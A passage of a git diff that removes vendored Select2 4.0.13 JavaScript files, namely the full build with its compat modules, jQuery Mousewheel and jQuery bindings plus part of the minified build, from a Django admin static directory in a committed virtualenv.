replacements.push(adapted); - } - } - }); - } - - $dest.attr('class', replacements.join(' ')); - } - - return { - syncCssClasses: syncCssClasses - }; -}); - -S2.define('select2/compat/containerCss',[ - 'jquery', - './utils' -], function ($, CompatUtils) { - // No-op CSS adapter that discards all classes by default - function _containerAdapter (clazz) { - return null; - } - - function ContainerCSS () { } - - ContainerCSS.prototype.render = function (decorated) { - var $container = decorated.call(this); - - var containerCssClass = this.options.get('containerCssClass') || ''; - - if ($.isFunction(containerCssClass)) { - containerCssClass = containerCssClass(this.$element); - } - - var containerCssAdapter = this.options.get('adaptContainerCssClass'); - containerCssAdapter = containerCssAdapter || _containerAdapter; - - if (containerCssClass.indexOf(':all:') !== -1) { - containerCssClass = containerCssClass.replace(':all:', ''); - - var _cssAdapter = containerCssAdapter; - - containerCssAdapter = function (clazz) { - var adapted = _cssAdapter(clazz); - - if (adapted != null) { - // Append the old one along with the adapted one - return adapted + ' ' + clazz; - } - - return clazz; - }; - } - - var containerCss = this.options.get('containerCss') || {}; - - if ($.isFunction(containerCss)) { - containerCss = containerCss(this.$element); - } - - CompatUtils.syncCssClasses($container, this.$element, containerCssAdapter); - - $container.css(containerCss); - $container.addClass(containerCssClass); - - return $container; - }; - - return ContainerCSS; -}); - -S2.define('select2/compat/dropdownCss',[ - 'jquery', - './utils' -], function ($, CompatUtils) { - // No-op CSS adapter that discards all classes by default - function _dropdownAdapter (clazz) { - return null; - } - - function DropdownCSS () { } - - DropdownCSS.prototype.render = function (decorated) { - var $dropdown = decorated.call(this); - - var dropdownCssClass = this.options.get('dropdownCssClass') || ''; - - if ($.isFunction(dropdownCssClass)) { - dropdownCssClass = dropdownCssClass(this.$element); - } - - var dropdownCssAdapter = this.options.get('adaptDropdownCssClass'); - dropdownCssAdapter = dropdownCssAdapter || _dropdownAdapter; - - if (dropdownCssClass.indexOf(':all:') !== -1) { - dropdownCssClass = dropdownCssClass.replace(':all:', ''); - - var _cssAdapter = dropdownCssAdapter; - - dropdownCssAdapter = function (clazz) { - var adapted = _cssAdapter(clazz); - - if (adapted != null) { - // Append the old one along with the adapted one - return adapted + ' ' + clazz; - } - - return clazz; - }; - } - - var dropdownCss = this.options.get('dropdownCss') || {}; - - if ($.isFunction(dropdownCss)) { - dropdownCss = dropdownCss(this.$element); - } - - CompatUtils.syncCssClasses($dropdown, this.$element, dropdownCssAdapter); - - $dropdown.css(dropdownCss); - $dropdown.addClass(dropdownCssClass); - - return $dropdown; - }; - - return DropdownCSS; -}); - -S2.define('select2/compat/initSelection',[ - 'jquery' -], function ($) { - function InitSelection (decorated, $element, options) { - if (options.get('debug') && window.console && console.warn) { - console.warn( - 'Select2: The `initSelection` option has been deprecated in favor' + - ' of a custom data adapter that overrides the `current` method. ' + - 'This method is now called multiple times instead of a single ' + - 'time when the instance is initialized. Support will be removed ' + - 'for the `initSelection` option in future versions of Select2' - ); - } - - this.initSelection = options.get('initSelection'); - this._isInitialized = false; - - decorated.call(this, $element, options); - } - - InitSelection.prototype.current = function (decorated, callback) { - var self = this; - - if (this._isInitialized) { - decorated.call(this, callback); - - return; - } - - this.initSelection.call(null, this.$element, function (data) { - self._isInitialized = true; - - if (!$.isArray(data)) { - data = [data]; - } - - callback(data); - }); - }; - - return InitSelection; -}); - -S2.define('select2/compat/inputData',[ - 'jquery', - '../utils' -], function ($, Utils) { - function InputData (decorated, $element, options) { - this._currentData = []; - this._valueSeparator = options.get('valueSeparator') || ','; - - if ($element.prop('type') === 'hidden') { - if (options.get('debug') && console && console.warn) { - console.warn( - 'Select2: Using a hidden input with Select2 is no longer ' + - 'supported and may stop working in the future. It is recommended ' + - 'to use a `<select>` element instead.' - ); - } - } - - decorated.call(this, $element, options); - } - - InputData.prototype.current = function (_, callback) { - function getSelected (data, selectedIds) { - var selected = []; - - if (data.selected || $.inArray(data.id, selectedIds) !== -1) { - data.selected = true; - selected.push(data); - } else { - data.selected = false; - } - - if (data.children) { - selected.push.apply(selected, getSelected(data.children, selectedIds)); - } - - return selected; - } - - var selected = []; - - for (var d = 0; d < this._currentData.length; d++) { - var data = this._currentData[d]; - - selected.push.apply( - selected, - getSelected( - data, - this.$element.val().split( - this._valueSeparator - ) - ) - ); - } - - callback(selected); - }; - - InputData.prototype.select = function (_, data) { - if (!this.options.get('multiple')) { - this.current(function (allData) { - $.map(allData, function (data) { - data.selected = false; - }); - }); - - this.$element.val(data.id); - this.$element.trigger('input').trigger('change'); - } else { - var value = this.$element.val(); - value += this._valueSeparator + data.id; - - this.$element.val(value); - this.$element.trigger('input').trigger('change'); - } - }; - - InputData.prototype.unselect = function (_, data) { - var self = this; - - data.selected = false; - - this.current(function (allData) { - var values = []; - - for (var d = 0; d < allData.length; d++) { - var item = allData[d]; - - if (data.id == item.id) { - continue; - } - - values.push(item.id); - } - - self.$element.val(values.join(self._valueSeparator)); - self.$element.trigger('input').trigger('change'); - }); - }; - - InputData.prototype.query = function (_, params, callback) { - var results = []; - - for (var d = 0; d < this._currentData.length; d++) { - var data = this._currentData[d]; - - var matches = this.matches(params, data); - - if (matches !== null) { - results.push(matches); - } - } - - callback({ - results: results - }); - }; - - InputData.prototype.addOptions = function (_, $options) { - var options = $.map($options, function ($option) { - return Utils.GetData($option[0], 'data'); - }); - - this._currentData.push.apply(this._currentData, options); - }; - - return InputData; -}); - -S2.define('select2/compat/matcher',[ - 'jquery' -], function ($) { - function oldMatcher (matcher) { - function wrappedMatcher (params, data) { - var match = $.extend(true, {}, data); - - if (params.term == null || $.trim(params.term) === '') { - return match; - } - - if (data.children) { - for (var c = data.children.length - 1; c >= 0; c--) { - var child = data.children[c]; - - // Check if the child object matches - // The old matcher returned a boolean true or false - var doesMatch = matcher(params.term, child.text, child); - - // If the child didn't match, pop it off - if (!doesMatch) { - match.children.splice(c, 1); - } - } - - if (match.children.length > 0) { - return match; - } - } - - if (matcher(params.term, data.text, data)) { - return match; - } - - return null; - } - - return wrappedMatcher; - } - - return oldMatcher; -}); - -S2.define('select2/compat/query',[ - -], function () { - function Query (decorated, $element, options) { - if (options.get('debug') && window.console && console.warn) { - console.warn( - 'Select2: The `query` option has been deprecated in favor of a ' + - 'custom data adapter that overrides the `query` method. Support ' + - 'will be removed for the `query` option in future versions of ' + - 'Select2.' - ); - } - - decorated.call(this, $element, options); - } - - Query.prototype.query = function (_, params, callback) { - params.callback = callback; - - var query = this.options.get('query'); - - query.call(null, params); - }; - - return Query; -}); - -S2.define('select2/dropdown/attachContainer',[ - -], function () { - function AttachContainer (decorated, $element, options) { - decorated.call(this, $element, options); - } - - AttachContainer.prototype.position = - function (decorated, $dropdown, $container) { - var $dropdownContainer = $container.find('.dropdown-wrapper'); - $dropdownContainer.append($dropdown); - - $dropdown.addClass('select2-dropdown--below'); - $container.addClass('select2-container--below'); - }; - - return AttachContainer; -}); - -S2.define('select2/dropdown/stopPropagation',[ - -], function () { - function StopPropagation () { } - - StopPropagation.prototype.bind = function (decorated, container, $container) { - decorated.call(this, container, $container); - - var stoppedEvents = [ - 'blur', - 'change', - 'click', - 'dblclick', - 'focus', - 'focusin', - 'focusout', - 'input', - 'keydown', - 'keyup', - 'keypress', - 'mousedown', - 'mouseenter', - 'mouseleave', - 'mousemove', - 'mouseover', - 'mouseup', - 'search', - 'touchend', - 'touchstart' - ]; - - this.$dropdown.on(stoppedEvents.join(' '), function (evt) { - evt.stopPropagation(); - }); - }; - - return StopPropagation; -}); - -S2.define('select2/selection/stopPropagation',[ - -], function () { - function StopPropagation () { } - - StopPropagation.prototype.bind = function (decorated, container, $container) { - decorated.call(this, container, $container); - - var stoppedEvents = [ - 'blur', - 'change', - 'click', - 'dblclick', - 'focus', - 'focusin', - 'focusout', - 'input', - 'keydown', - 'keyup', - 'keypress', - 'mousedown', - 'mouseenter', - 'mouseleave', - 'mousemove', - 'mouseover', - 'mouseup', - 'search', - 'touchend', - 'touchstart' - ]; - - this.$selection.on(stoppedEvents.join(' '), function (evt) { - evt.stopPropagation(); - }); - }; - - return StopPropagation; -}); - -/*! - * jQuery Mousewheel 3.1.13 - * - * Copyright jQuery Foundation and other contributors - * Released under the MIT license - * http://jquery.org/license - */ - -(function (factory) { - if ( typeof S2.define === 'function' && S2.define.amd ) { - // AMD. Register as an anonymous module. - S2.define('jquery-mousewheel',['jquery'], factory); - } else if (typeof exports === 'object') { - // Node/CommonJS style for Browserify - module.exports = factory; - } else { - // Browser globals - factory(jQuery); - } -}(function ($) { - - var toFix = ['wheel', 'mousewheel', 'DOMMouseScroll', 'MozMousePixelScroll'], - toBind = ( 'onwheel' in document || document.documentMode >= 9 ) ? - ['wheel'] : ['mousewheel', 'DomMouseScroll', 'MozMousePixelScroll'], - slice = Array.prototype.slice, - nullLowestDeltaTimeout, lowestDelta; - - if ( $.event.fixHooks ) { - for ( var i = toFix.length; i; ) { - $.event.fixHooks[ toFix[--i] ] = $.event.mouseHooks; - } - } - - var special = $.event.special.mousewheel = { - version: '3.1.12', - - setup: function() { - if ( this.addEventListener ) { - for ( var i = toBind.length; i; ) { - this.addEventListener( toBind[--i], handler, false ); - } - } else { - this.onmousewheel = handler; - } - // Store the line height and page height for this particular element - $.data(this, 'mousewheel-line-height', special.getLineHeight(this)); - $.data(this, 'mousewheel-page-height', special.getPageHeight(this)); - }, - - teardown: function() { - if ( this.removeEventListener ) { - for ( var i = toBind.length; i; ) { - this.removeEventListener( toBind[--i], handler, false ); - } - } else { - this.onmousewheel = null; - } - // Clean up the data we added to the element - $.removeData(this, 'mousewheel-line-height'); - $.removeData(this, 'mousewheel-page-height'); - }, - - getLineHeight: function(elem) { - var $elem = $(elem), - $parent = $elem['offsetParent' in $.fn ? 'offsetParent' : 'parent'](); - if (!$parent.length) { - $parent = $('body'); - } - return parseInt($parent.css('fontSize'), 10) || parseInt($elem.css('fontSize'), 10) || 16; - }, - - getPageHeight: function(elem) { - return $(elem).height(); - }, - - settings: { - adjustOldDeltas: true, // see shouldAdjustOldDeltas() below - normalizeOffset: true // calls getBoundingClientRect for each event - } - }; - - $.fn.extend({ - mousewheel: function(fn) { - return fn ? this.bind('mousewheel', fn) : this.trigger('mousewheel'); - }, - - unmousewheel: function(fn) { - return this.unbind('mousewheel', fn); - } - }); - - - function handler(event) { - var orgEvent = event || window.event, - args = slice.call(arguments, 1), - delta = 0, - deltaX = 0, - deltaY = 0, - absDelta = 0, - offsetX = 0, - offsetY = 0; - event = $.event.fix(orgEvent); - event.type = 'mousewheel'; - - // Old school scrollwheel delta - if ( 'detail' in orgEvent ) { deltaY = orgEvent.detail * -1; } - if ( 'wheelDelta' in orgEvent ) { deltaY = orgEvent.wheelDelta; } - if ( 'wheelDeltaY' in orgEvent ) { deltaY = orgEvent.wheelDeltaY; } - if ( 'wheelDeltaX' in orgEvent ) { deltaX = orgEvent.wheelDeltaX * -1; } - - // Firefox < 17 horizontal scrolling related to DOMMouseScroll event - if ( 'axis' in orgEvent && orgEvent.axis === orgEvent.HORIZONTAL_AXIS ) { - deltaX = deltaY * -1; - deltaY = 0; - } - - // Set delta to be deltaY or deltaX if deltaY is 0 for backwards compatabilitiy - delta = deltaY === 0 ? deltaX : deltaY; - - // New school wheel delta (wheel event) - if ( 'deltaY' in orgEvent ) { - deltaY = orgEvent.deltaY * -1; - delta = deltaY; - } - if ( 'deltaX' in orgEvent ) { - deltaX = orgEvent.deltaX; - if ( deltaY === 0 ) { delta = deltaX * -1; } - } - - // No change actually happened, no reason to go any further - if ( deltaY === 0 && deltaX === 0 ) { return; } - - // Need to convert lines and pages to pixels if we aren't already in pixels - // There are three delta modes: - // * deltaMode 0 is by pixels, nothing to do - // * deltaMode 1 is by lines - // * deltaMode 2 is by pages - if ( orgEvent.deltaMode === 1 ) { - var lineHeight = $.data(this, 'mousewheel-line-height'); - delta *= lineHeight; - deltaY *= lineHeight; - deltaX *= lineHeight; - } else if ( orgEvent.deltaMode === 2 ) { - var pageHeight = $.data(this, 'mousewheel-page-height'); - delta *= pageHeight; - deltaY *= pageHeight; - deltaX *= pageHeight; - } - - // Store lowest absolute delta to normalize the delta values - absDelta = Math.max( Math.abs(deltaY), Math.abs(deltaX) ); - - if ( !lowestDelta || absDelta < lowestDelta ) { - lowestDelta = absDelta; - - // Adjust older deltas if necessary - if ( shouldAdjustOldDeltas(orgEvent, absDelta) ) { - lowestDelta /= 40; - } - } - - // Adjust older deltas if necessary - if ( shouldAdjustOldDeltas(orgEvent, absDelta) ) { - // Divide all the things by 40! - delta /= 40; - deltaX /= 40; - deltaY /= 40; - } - - // Get a whole, normalized value for the deltas - delta = Math[ delta >= 1 ? 'floor' : 'ceil' ](delta / lowestDelta); - deltaX = Math[ deltaX >= 1 ? 'floor' : 'ceil' ](deltaX / lowestDelta); - deltaY = Math[ deltaY >= 1 ? 'floor' : 'ceil' ](deltaY / lowestDelta); - - // Normalise offsetX and offsetY properties - if ( special.settings.normalizeOffset && this.getBoundingClientRect ) { - var boundingRect = this.getBoundingClientRect(); - offsetX = event.clientX - boundingRect.left; - offsetY = event.clientY - boundingRect.top; - } - - // Add information to the event object - event.deltaX = deltaX; - event.deltaY = deltaY; - event.deltaFactor = lowestDelta; - event.offsetX = offsetX; - event.offsetY = offsetY; - // Go ahead and set deltaMode to 0 since we converted to pixels - // Although this is a little odd since we overwrite the deltaX/Y - // properties with normalized deltas. - event.deltaMode = 0; - - // Add event and delta to the front of the arguments - args.unshift(event, delta, deltaX, deltaY); - - // Clearout lowestDelta after sometime to better - // handle multiple device types that give different - // a different lowestDelta - // Ex: trackpad = 3 and mouse wheel = 120 - if (nullLowestDeltaTimeout) { clearTimeout(nullLowestDeltaTimeout); } - nullLowestDeltaTimeout = setTimeout(nullLowestDelta, 200); - - return ($.event.dispatch || $.event.handle).apply(this, args); - } - - function nullLowestDelta() { - lowestDelta = null; - } - - function shouldAdjustOldDeltas(orgEvent, absDelta) { - // If this is an older event and the delta is divisable by 120, - // then we are assuming that the browser is treating this as an - // older mouse wheel event and that we should divide the deltas - // by 40 to try and get a more usable deltaFactor. - // Side note, this actually impacts the reported scroll distance - // in older browsers and can cause scrolling to be slower than native. - // Turn this off by setting $.event.special.mousewheel.settings.adjustOldDeltas to false. - return special.settings.adjustOldDeltas && orgEvent.type === 'mousewheel' && absDelta % 120 === 0; - } - -})); - -S2.define('jquery.select2',[ - 'jquery', - 'jquery-mousewheel', - - './select2/core', - './select2/defaults', - './select2/utils' -], function ($, _, Select2, Defaults, Utils) { - if ($.fn.select2 == null) { - // All methods that should return the element - var thisMethods = ['open', 'close', 'destroy']; - - $.fn.select2 = function (options) { - options = options || {}; - - if (typeof options === 'object') { - this.each(function () { - var instanceOptions = $.extend(true, {}, options); - - var instance = new Select2($(this), instanceOptions); - }); - - return this; - } else if (typeof options === 'string') { - var ret; - var args = Array.prototype.slice.call(arguments, 1); - - this.each(function () { - var instance = Utils.GetData(this, 'select2'); - - if (instance == null && window.console && console.error) { - console.error( - 'The select2(\'' + options + '\') method was called on an ' + - 'element that is not using Select2.' - ); - } - - ret = instance[options].apply(instance, args); - }); - - // Check if we should be returning `this` - if ($.inArray(options, thisMethods) > -1) { - return this; - } - - return ret; - } else { - throw new Error('Invalid arguments for Select2: ' + options); - } - }; - } - - if ($.fn.select2.defaults == null) { - $.fn.select2.defaults = Defaults; - } - - return Select2; -}); - - // Return the AMD loader configuration so it can be used outside of this file - return { - define: S2.define, - require: S2.require - }; -}()); - - // Autoload the jQuery bindings - // We know that all of the modules exist above this, so we're safe - var select2 = S2.require('jquery.select2'); - - // Hold the AMD module references on the jQuery function that was just loaded - // This allows Select2 to use the internal loader outside of this file, such - // as in the language files. - jQuery.fn.select2.amd = S2; - - // Return the Select2 instance for anyone who is importing it. - return select2; -})); diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/select2.full.min.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/select2.full.min.js deleted file mode 100644 index fa781916..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/vendor/select2/select2.full.min.js +++ /dev/null @@ -1,2 +0,0 @@ -/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ -!function(n){"function"==typeof define&&define.amd?define(["jquery"],n):"object"==typeof module&&module.exports?module.exports=function(e,t){return void 0===t&&(t="undefined"!=typeof window?require("jquery"):require("jquery")(e)),n(t),t}:n(jQuery)}(function(d){var e=function(){if(d&&d.fn&&d.fn.select2&&d.fn.select2.amd)var e=d.fn.select2.amd;var t,n,i,h,o,s,f,g,m,v,y,_,r,a,w,l;function b(e,t){return r.call(e,t)}function c(e,t){var n,i,r,o,s,a,l,c,u,d,p,h=t&&t.split("/"),f=y.map,g=f&&f["*"]||{};if(e){for(s=(e=e.split("/")).length-1,y.nodeIdCompat&&w.test(e[s])&&(e[s]=e[s].replace(w,"")),"."===e[0].charAt(0)&&h&&(e=h.slice(0,h.length-1).concat(e)),u=0;u<e.length;u++)if("."===(p=e[u]))e.splice(u,1),u-=1;else if(".."===p){if(0===u||1===u&&".."===e[2]||".."===e[u-1])continue;0<u&&(e.splice(u-1,2),u-=2)}e=e.join("/")}if((h||g)&&f){for(u=(n=e.split("/")).length;0<u;u-=1){if(i=n.slice(0,u).join("/"),h)for(d=h.length;0<d;d-=1)if(r=(r=f[h.slice(0,d).join("/")])&&r[i]){o=r,a=u;break}if(o)break;!l&&g&&g[i]&&(l=g[i],c=u)}!o&&l&&(o=l,a=c),o&&(n.splice(0,a,o),e=n.join("/"))}return e}function A(t,n){return function(){var e=a.call(arguments,0);return"string"!=typeof e[0]&&1===e.length&&e.push(null),s.apply(h,e.concat([t,n]))}}function x(t){return function(e){m[t]=e}}function D(e){if(b(v,e)){var t=v[e];delete v[e],_[e]=!0,o.apply(h,t)}if(!b(m,e)&&!b(_,e))throw new Error("No "+e);return m[e]}function u(e){var t,n=e?e.indexOf("!"):-1;return-1<n&&(t=e.substring(0,n),e=e.substring(n+1,e.length)),[t,e]}function S(e){return e?u(e):[]}return e&&e.requirejs||(e?n=e:e={},m={},v={},y={},_={},r=Object.prototype.hasOwnProperty,a=[].slice,w=/\.js$/,f=function(e,t){var n,i=u(e),r=i[0],o=t[1];return e=i[1],r&&(n=D(r=c(r,o))),r?e=n&&n.normalize?n.normalize(e,function(t){return function(e){return c(e,t)}}(o)):c(e,o):(r=(i=u(e=c(e,o)))[0],e=i[1],r&&(n=D(r))),{f:r?r+"!"+e:e,n:e,pr:r,p:n}},g={require:function(e){return A(e)},exports:function(e){var t=m[e];return void 0!==t?t:m[e]={}},module:function(e){return{id:e,uri:"",exports:m[e],config:function(e){return function(){return y&&y.config&&y.config[e]||{}}}(e)}}},o=function(e,t,n,i){var r,o,s,a,l,c,u,d=[],p=typeof n;if(c=S(i=i||e),"undefined"==p||"function"==p){for(t=!t.length&&n.length?["require","exports","module"]:t,l=0;l<t.length;l+=1)if("require"===(o=(a=f(t[l],c)).f))d[l]=g.require(e);else if("exports"===o)d[l]=g.exports(e),u=!0;else if("module"===o)r=d[l]=g.module(e);else if(b(m,o)||b(v,o)||b(_,o))d[l]=D(o);else{if(!a.p)throw new Error(e+" missing "+o);a.p.load(a.n,A(i,!0),x(o),{}),d[l]=m[o]}s=n?n.apply(m[e],d):void 0,e&&(r&&r.exports!==h&&r.exports!==m[e]?m[e]=r.exports:s===h&&u||(m[e]=s))}else e&&(m[e]=n)},t=n=s=function(e,t,n,i,r){if("string"==typeof e)return g[e]?g[e](t):D(f(e,S(t)).f);if(!e.splice){if((y=e).deps&&s(y.deps,y.callback),!t)return;t.splice?(e=t,t=n,n=null):e=h}return t=t||function(){},"function"==typeof n&&(n=i,i=r),i?o(h,e,t,n):setTimeout(function(){o(h,e,t,n)},4),s},s.config=function(e){return s(e)},t._defined=m,(i=function(e,t,n){if("string"!=typeof e)throw new Error("See almond README: incorrect module build, no module name");t.splice||(n=t,t=[]),b(m,e)||b(v,e)||(v[e]=[e,t,n])}).amd={jQuery:!0},e.requirejs=t,e.require=n,e.define=i),e.define("almond",function(){}),e.define("jquery",[],function(){var e=d||$;return null==e&&console&&console.error&&console.error("Select2: An instance of jQuery or a jQuery-compatible library was not found. Make sure that you are including jQuery before Select2 on your web page."),e}),e.define("select2/utils",["jquery"],function(o){var r={};function u(e){var t=e.prototype,n=[];for(var i in t){"function"==typeof t[i]&&"constructor"!==i&&n.push(i)}return n}r.Extend=function(e,t){var n={}.hasOwnProperty;function i(){this.constructor=e}for(var r in t)n.call(t,r)&&(e[r]=t[r]);return i.prototype=t.prototype,e.prototype=new i,e.__super__=t.prototype,e},r.Decorate=function(i,r){var e=u(r),t=u(i);function o(){var e=Array.prototype.unshift,t=r.prototype.constructor.length,n=i.prototype.constructor;0<t&&(e.call(arguments,i.prototype.constructor),n=r.prototype.constructor),n.apply(this,arguments)}r.displayName=i.displayName,o.prototype=new function(){this.constructor=o};for(var n=0;n<t.length;n++){var s=t[n];o.prototype[s]=i.prototype[s]}function a(e){var t=function(){};e in o.prototype&&(t=o.prototype[e]);var n=r.prototype[e];return function(){return Array.prototype.unshift.call(arguments,t),n.apply(this,arguments)}}for(var l=0;l<e.length;l++){var c=e[l];o.prototype[c]=a(c)}return o};function e(){this.listeners={}}e.prototype.on=function(e,t){this.listeners=this.listeners||{},e in this.listeners?this.listeners[e].push(t):this.listeners[e]=[t]},e.prototype.trigger=function(e){var t=Array.prototype.slice,n=t.call(arguments,1);this.listeners=this.listeners||{},null==n&&(n=[]),0===n.length&&n.push({}),(n[0]._type=e)in this.listeners&&this.invoke(this.listeners[e],t.call(arguments,1)),"*"in this.listeners&&this.invoke(this.listeners["*"],arguments)},e.prototype.invoke=function(e,t){for(var n=0,i=e.length;n<i;n++)e[n].apply(this,t)},r.Observable=e,r.generateChars=function(e){for(var t="",n=0;n<e;n++){t+=Math.floor(36*Math.random()).toString(36)}return t},r.bind=function(e,t){return function(){e.apply(t,arguments)}},r._convertData=function(e){for(var t in e){var n=t.split("-"),i=e;if(1!==n.length){for(var r=0;r<n.length;r++){var o=n[r];(o=o.substring(0,1).toLowerCase()+o.substring(1))in i||(i[o]={}),r==n.length-1&&(i[o]=e[t]),i=i[o]}delete e[t]}}return e},r.hasScroll=function(e,t){var n=o(t),i=t.style.overflowX,r=t.style.overflowY;return(i!==r||"hidden"!==r&&"visible"!==r)&&("scroll"===i||"scroll"===r||(n.innerHeight()<t.scrollHeight||n.innerWidth()<t.scrollWidth))},r.escapeMarkup=function(e){var t={"\\":"\","&":"&","<":"<",">":">",'"':""","'":"'","/":"/"};return"string"!=typeof e?e:String(e).replace(/[&<>"'\/\\]/g,function(e){return t[e]})},r.appendMany=function(e,t){if("1.7"===o.fn.jquery.substr(0,3)){var n=o();o.map(t,function(e){n=n.add(e)}),t=n}e.append(t)},r.__cache={};var n=0;return r.GetUniqueElementId=function(e){var t=e.getAttribute("data-select2-id");return null==t&&(e.id?(t=e.id,e.setAttribute("data-select2-id",t)):(e.setAttribute("data-select2-id",++n),t=n.toString())),t},r.StoreData=function(e,t,n){var i=r.GetUniqueElementId(e);r.__cache[i]||(r.__cache[i]={}),r.__cache[i][t]=n},r.GetData=function(e,t){var n=r.GetUniqueElementId(e);return t?r.__cache[n]&&null!=r.__cache[n][t]?r.__cache[n][t]:o(e).data(t):r.__cache[n]},r.RemoveData=function(e){var t=r.GetUniqueElementId(e);null!=r.__cache[t]&&delete r.__cache[t],e.removeAttribute("data-select2-id")},r}),e.define("select2/results",["jquery","./utils"],function(h,f){function i(e,t,n){this.$element=e,this.data=n,this.options=t,i.__super__.constructor.call(this)}return f.Extend(i,f.Observable),i.prototype.render=function(){var e=h('<ul class="select2-results__options" role="listbox"></ul>');return this.options.get("multiple")&&e.attr("aria-multiselectable","true"),this.$results=e},i.prototype.clear=function(){this.$results.empty()},i.prototype.displayMessage=function(e){var t=this.options.get("escapeMarkup");this.clear(),this.hideLoading();var n=h('<li role="alert" aria-live="assertive" class="select2-results__option"></li>'),i=this.options.get("translations").get(e.message);n.append(t(i(e.args))),n[0].className+=" select2-results__message",this.$results.append(n)},i.prototype.hideMessages=function(){this.$results.find(".select2-results__message").remove()},i.prototype.append=function(e){this.hideLoading();var t=[];if(null!=e.results&&0!==e.results.length){e.results=this.sort(e.results);for(var n=0;n<e.results.length;n++){var i=e.results[n],r=this.option(i);t.push(r)}this.$results.append(t)}else 0===this.$results.children().length&&this.trigger("results:message",{message:"noResults"})},i.prototype.position=function(e,t){t.find(".select2-results").append(e)},i.prototype.sort=function(e){return this.options.get("sorter")(e)},i.prototype.highlightFirstItem=function(){var e=this.$results.find(".select2-results__option[aria-selected]"),t=e.filter("[aria-selected=true]");0<t.length?t.first().trigger("mouseenter"):e.first().trigger("mouseenter"),this.ensureHighlightVisible()},i.prototype.setClasses=function(){var t=this;this.data.current(function(e){var i=h.map(e,function(e){return e.id.toString()});t.$results.find(".select2-results__option[aria-selected]").each(function(){var e=h(this),t=f.GetData(this,"data"),n=""+t.id;null!=t.element&&t.element.selected||null==t.element&&-1<h.inArray(n,i)?e.attr("aria-selected","true"):e.attr("aria-selected","false")})})},i.prototype.showLoading=function(e){this.hideLoading();var t={disabled:!0,loading:!0,text:this.options.get("translations").get("searching")(e)},n=this.option(t);n.className+=" loading-results",this.$results.prepend(n)},i.prototype.hideLoading=function(){this.$results.find(".loading-results").remove()},i.prototype.option=function(e){var t=document.createElement("li");t.className="select2-results__option";var n={role:"option","aria-selected":"false"},i=window.Element.prototype.matches||window.Element.prototype.msMatchesSelector||window.Element.prototype.webkitMatchesSelector;for(var r in(null!=e.element&&i.call(e.element,":disabled")||null==e.element&&e.disabled)&&(delete n["aria-selected"],n["aria-disabled"]="true"),null==e.id&&delete n["aria-selected"],null!=e._resultId&&(t.id=e._resultId),e.title&&(t.title=e.title),e.children&&(n.role="group",n["aria-label"]=e.text,delete n["aria-selected"]),n){var o=n[r];t.setAttribute(r,o)}if(e.children){var s=h(t),a=document.createElement("strong");a.className="select2-results__group";h(a);this.template(e,a);for(var l=[],c=0;c<e.children.length;c++){var u=e.children[c],d=this.option(u);l.push(d)}var p=h("<ul></ul>",{class:"select2-results__options select2-results__options--nested"});p.append(l),s.append(a),s.append(p)}else this.template(e,t);return f.StoreData(t,"data",e),t},i.prototype.bind=function(t,e){var l=this,n=t.id+"-results";this.$results.attr("id",n),t.on("results:all",function(e){l.clear(),l.append(e.data),t.isOpen()&&(l.setClasses(),l.highlightFirstItem())}),t.on("results:append",function(e){l.append(e.data),t.isOpen()&&l.setClasses()}),t.on("query",function(e){l.hideMessages(),l.showLoading(e)}),t.on("select",function(){t.isOpen()&&(l.setClasses(),l.options.get("scrollAfterSelect")&&l.highlightFirstItem())}),t.on("unselect",function(){t.isOpen()&&(l.setClasses(),l.options.get("scrollAfterSelect")&&l.highlightFirstItem())}),t.on("open",function(){l.$results.attr("aria-expanded","true"),l.$results.attr("aria-hidden","false"),l.setClasses(),l.ensureHighlightVisible()}),t.on("close",function(){l.$results.attr("aria-expanded","false"),l.$results.attr("aria-hidden","true"),l.$results.removeAttr("aria-activedescendant")}),t.on("results:toggle",function(){var e=l.getHighlightedResults();0!==e.length&&e.trigger("mouseup")}),t.on("results:select",function(){var e=l.getHighlightedResults();if(0!==e.length){var t=f.GetData(e[0],"data");"true"==e.attr("aria-selected")?l.trigger("close",{}):l.trigger("select",{data:t})}}),t.on("results:previous",function(){var e=l.getHighlightedResults(),t=l.$results.find("[aria-selected]"),n=t.index(e);if(!(n<=0)){var i=n-1;0===e.length&&(i=0);var r=t.eq(i);r.trigger("mouseenter");var o=l.$results.offset().top,s=r.offset().top,a=l.$results.scrollTop()+(s-o);0===i?l.$results.scrollTop(0):s-o<0&&l.$results.scrollTop(a)}}),t.on("results:next",function(){var e=l.getHighlightedResults(),t=l.$results.find("[aria-selected]"),n=t.index(e)+1;if(!(n>=t.length)){var i=t.eq(n);i.trigger("mouseenter");var r=l.$results.offset().top+l.$results.outerHeight(!1),o=i.offset().top+i.outerHeight(!1),s=l.$results.scrollTop()+o-r;0===n?l.$results.scrollTop(0):r<o&&l.$results.scrollTop(s)}}),t.on("results:focus",function(e){e.element.addClass("select2-results__option--highlighted")}),t.on("results:message",function(e){l.displayMessage(e)}),h.fn.mousewheel&&this.$results.on("mousewheel",function(e){var t=l.$results.scrollTop(),n=l.$results.get(0).scrollHeight-t+e.deltaY,i=0<e.deltaY&&t-e.deltaY<=0,r=e.deltaY<0&&n<=l.$results.height();i?(l.$results.scrollTop(0),e.preventDefault(),e.stopPropagation()):r&&(l.$results.scrollTop(l.$results.get(0).scrollHeight-l.$results.height()),e.preventDefault(),e.stopPropagation())}),this.$results.on("mouseup",".select2-results__option[aria-selected]",function(e){var t=h(this),n=f.GetData(this,"data");"true"!==t.attr("aria-selected")?l.trigger("select",{originalEvent:e,data:n}):l.options.get("multiple")?l.trigger("unselect",{originalEvent:e,data:n}):l.trigger("close",{})}),this.$results.on("mouseenter",".select2-results__option[aria-selected]",function(e){var t=f.GetData(this,"data");l.getHighlightedResults().removeClass("select2-results__option--highlighted"),l.trigger("results:focus",{data:t,element:h(this)})})},i.prototype.getHighlightedResults=function(){return this.$results.find(".select2-results__option--highlighted")},i.prototype.destroy=function(){this.$results.remove()},i.prototype.ensureHighlightVisible=function(){var e=this.getHighlightedResults();if(0!==e.length){var t=this.$results.find("[aria-selected]").index(e),n=this.$results.offset().top,i=e.offset().top,r=this.$results.scrollTop()+(i-n),o=i-n;r-=2*e.outerHeight(!1),t<=2?this.$results.scrollTop(0):(o>this.$results.outerHeight()||o<0)&&this.$results.scrollTop(r)}},i.prototype.template=function(e,t){var 